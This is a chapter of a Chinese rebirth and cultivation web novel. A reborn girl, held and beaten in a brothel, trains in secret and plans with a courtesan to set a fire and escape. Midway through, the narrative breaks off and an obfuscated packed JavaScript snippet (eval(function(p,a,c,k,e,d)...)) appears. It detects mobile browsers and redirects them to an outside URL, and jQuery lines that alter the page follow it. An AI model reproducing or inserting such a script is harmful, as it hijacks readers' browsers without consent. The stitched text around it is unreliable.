郭潋眨眨眼睛忽的一笑,长长的发丝随着她的动作跟着轻轻颤动,她随手抽出发间的一根簪子塞到对方手里,点到为止“你还想着跑出去吗?”
丛眠了然,她将簪子收好,眼睛紧紧的看着对方 “最多两个月,我会准备好”
“小孩就要有小孩样,你乖乖不......”郭潋刚想刺两句,顿了顿又道“给你这个,是让你去找大夫”
“成”丛眠低头笑了笑“我先去做事”
她身上有伤,一出门便被钱婆子抓住往柴房走
丛眠不声不响的被拖着,过了会钱婆子反倒开了话头“你知道给你又花了多少银子吗?郭潋这个月的份全赔给你了,你怎么不知道心疼”
“怎么,心疼你赚的多吗?”丛眠冷淡开口,胳膊上的手顿时大了力气
“我看你这两条胳膊也是不想要了,再跑你的腿也保不住”钱婆子扯着人进入后院厨房,厨房内的几个人见此,见怪不怪的让开一条路,有一人还贴心的将小门打开
钱婆子随手一扔,整个人堵在门口,神色冰冷的指着屋内随意堆砌的木材“将这些一根根码好”
“什么时候整理好什么时候再吃一口饭”
丛眠从地上爬起来,冷笑一声倒是没再搭腔
手臂上的烫伤被粗劣的处理过,一些绿色的药渣从绷带缝隙中漏出,丛眠蹲坐在柴房里,将四周粗柴捡起一根根码到身边
即使她不做也不过是饿几天,但当务之急是尽快锻炼身体引气,在最开始,她12岁逃离倚春楼,那时郭潋已经去世了
而现在,她十一岁
手臂因为动作止不住的颤抖着,她拿着木材慢慢起势,狭小的空间使得她动作无法完全舒展
但也足够了
在她初入修仙法门时,当时给他测试的修仙者只说了八个字
灵根杂驳,难以为继
如果说她重回十一岁最大的好处,那就是虚长了很多年华,有了经验再度重修比第一次自己摸索好上许多
她深吸一口气,尝试打一遍完整的练体拳
仅仅只是最基础不过的锻炼方法,一套打下来两腿发软,胳膊都抬不起来
隔着门能隐隐能听见外面几人对话的声音越来越远,丛眠喘着气,躺倒在地,手臂上的伤口又麻又痒,因为动作飘出一股血腥味
丛眠缓了会撑着又坐起来,她坚持不懈的逃跑导致时常被打骂,身体瘦小,养分不够,十一岁看起来跟八九岁差不多高
如果想达到引气的条件,至少身体素质要跟的上,她现在连感知都做不到
这里仅仅只是一个城里的材房而已,丛眠有些恍惚的握了握手
材房内乱七八糟的杂物很多,当然最多的是材和煤炭,以及引火的折子。
丛眠动作不停,歇一会就打一套,再跑动着整理,等到夜晚厨房慢慢热闹起来,丝丝缕缕的烟雾从木门缝隙处飘入,带来一阵香味
一天滴水未尽,肚子似火在烧,丛眠靠着墙缓慢的敲着木门,没多久门被骤然打开,热气随着烟火气一齐涌进“哟呵,骨头软了阿,爱花,码的这么齐整”
小厮蹲下身倒了一碗水递过来,丛眠两三口喝完“再来一碗”
“哎呦慢点,别呛着了”小厮蹲下身又递过来半碗白饭“早这样不就好了,你看,饭也吃上了”
丛眠不语,撑着靠在墙上接过饭小口吃着,小厮凑近招招手“爱花,钱婆子吩咐吃完去找郭姑娘”
“要不说贱命就是好阿,怎么折腾都死不了”
“哦”丛眠斜看对方一眼“你没事儿?”
“哪比得上您活儿多呢”小厮讪笑着起身,语气嘲讽“命真硬,傍上了头牌,哈哈”
丛眠抓紧扒了两口回道“你行你也去卖阿”
下一刻碗被一双手强硬的扯过,丛眠拿着筷子骤然发难,反手直冲眼睛而去
小厮躲闪不及侧过脸,筷子直冲太阳穴在最后一刻收了力道,筷子尖顶着耳朵上方的软肉,小厮浑身僵硬
丛眠抬眼“缺钱就去卖”
小厮一屁股坐在地上,丛眠扒拉完饭有了几分力气起身,厨房内热火朝天的,材房门正对着灶台,烟雾缭绕间可以看见流水一样的菜肴,几名小厮来来回回的报着菜名端菜,几份来不及端走的菜被摆在离门口极进的架子上
这么热闹,就给她吃白饭
“真抠搜”丛眠呢喃着上前,一边的小厮气急从地上起来一把抓住丛眠肩膀“你什么意思?!”
“什么什么意思?”丛眠咽着口水,指着灶台“你没活儿吗?”
“王凡你管她做什么!皮痒了是吧!赶紧加柴!!贵人还等着菜!”灶台上的师傅不耐烦的舞着铲子,冲着这边大声嘶吼着
王凡浑身一僵,撂下一句狠话“你给我等着”
丛眠神色如常,一开始给钱婆子开门的似乎也是这位,难道她以前得罪过对方?
厨房里的人各有各的忙活,丛眠侧着身子从架子前路过,趁人不注意利索的抓走一只烤鸡,用袖子遮着边走边啃
夜空中几颗星星散发着柔和的光亮,初春夜晚寒凉,她随手将骨头扔进草丛,楼后方人少,小厨房和主楼还隔着一座不大不小的庭院,她捡着没人的地方走偏偏还是撞上了事情
争吵声从不远处传来,丛眠下意识躲避身形,往声源处望去
影影绰绰间只能见到两抹影子晃动
“为什么不让我赎你?”
“周公子,今夜我的名字不在词牌上”
“你……!你怎么就说不通,跟了我,荣华富贵,你在这里千人……唉……!”
“请回吧”
“潋儿,我是真心的……你看——”
“周公子”郭潋神色冰冷“今夜我的名字不在词牌上”
即便面色不虞也难掩国色,周毅看着这张脸咬牙“我答应还不行吗?”
郭潋神色未变“此事全凭公子遗愿,烦请您明日再来”
周毅折扇一收拂袖离去,郭潋站在原地侧目“还不出来?”
“郭姐姐”丛眠慢慢走出,不远处的郭潋一愣,见是她连忙上前“我叫了医生来,正打算找你跟我去换药”
走进了她眉头一皱“怎么回事,伤怎么还重了”
“不碍事”丛眠缩回手“那是谁?”
“城主儿子”郭潋语气淡淡,手却不容拒绝的揽着丛眠的肩膀“想赎我去当小妾”
“噢——”丛眠轻轻点头,轻声道“那他是不是可以开城门?”
郭潋带着人往主楼走“是是是,他可以开城门”
丛眠往自己身上擦擦油腻腻的手“总之,我放把火,然后趁乱逃走,你也趁机跑吧”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861252|176036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“那其它人呢?”
“其它人?”丛眠一愣自然道“她们想跑也可以趁机跑阿”
郭潋叹息一声蹲下身看着满身伤的小孩掏出一张帕子,仔细的给她擦着手“爱花,这里有很多和你一样的孩子,放火的时候烧到他们怎么办呢?”
丛眠不假思索的开口“我会提前告诉她们,她们也跑就行了”
“手臂伤口又流血了,老鸨是不是把你关柴房了?”郭潋不再讨论,将帕子放到丛眠手里,轻轻摸了摸她的头。
“嗯”丛眠神色自然,缓步跟着往主楼走
郭潋敛眉,垂目看着这个身高才到腰间的孩子
在更早之前,她并没有注意到这孩子,初来倚春楼的人总想过逃跑
但往往会被老鸨抓住,一但被抓,少不了挨打,爱花与其它孩子不同的是这孩子打不怕
往往伤口还未愈合,但只要能动,就要跑
长期以往老鸨失去耐心,下手越发狠厉,见到这孩子时刚刚被小厮抓着挨过几棍子,躺在地上奄奄一息,出气多进气少
郭潋站在不远处看了一会,朝老鸨要下了这个孩子
“爱花”
“怎么了?”
“不,没什么”郭潋移开视线,压下心头的疑问,莞尔道“你最近有没有什么心事?”
“没有”
“如果有的话可以和我商量”
“好的”
“爱花,凡是不要憋在心里”
“嗯”
丛眠眨眨眼,有些不解对方问这个干什么
她入仙门时录入弟子令牌,给自己起名叫丛眠,舍弃了凡间过往,如今已经很久没有用过爱花这个名字
几乎要忘记了
郭潋作为头牌自然是有些特权的,她带着丛眠绕过前厅的人群进了屋,丛眠暗暗记下路线,只见屋内大夫正等着,瞧两人过来连忙起身
“是哪里受伤了?”
“胳膊,您看看”郭潋将人推出来,丛眠上前两步扯开胳膊上的绷带,绿色的药渣已经成了暗褐色,随着绷带簌簌洒落,更多的附着在皮肤上,看不清伤口,一些皮肉粘连的地方也胡乱的撕开,伤口混着药渣显得鲜血淋漓
“爱花,你……”郭潋张张嘴能,一时间不知说些什么
“没事,不怎么疼”丛眠将脏绷带放到桌上,伸出胳膊给大夫上药,不如说这样直接扯开更换反而更快,皮肤被绷带缠住不透气,痒的很。
郭潋牵着丛眠坐下,眉目流转间露出几抹心疼“大夫,这要如何医治?”
昨天皮肤上只是粉嫩的烫伤痕迹,今天丛眠又是搬木材又是打拳,起的水泡已经破裂,绷带一拆显得分外吓人
“不碍事,只是恐怕要留疤了”大夫打开随身携带的药箱“需要配些外敷的新药,这几天不要沾水劳动,伤要好完全得休息一个月”
“好”郭潋点头,看着大夫将粉涂在和火柴似的的胳膊上之后又拿纱布绕了一圈,而对方全程除了胳膊因为疼痛不自觉的颤动外,一声都没吭
郭潋垂目有些不忍的侧过头,等送大夫离开才朝丛眠缓声道“我之前都不知道,爱花你这么能忍疼”
“习惯了”丛眠抬起手,看着指尖不自觉的颤动,轻轻甩了甩
“你今天先在我房里休息”郭潋叹口气“我叫人送水来”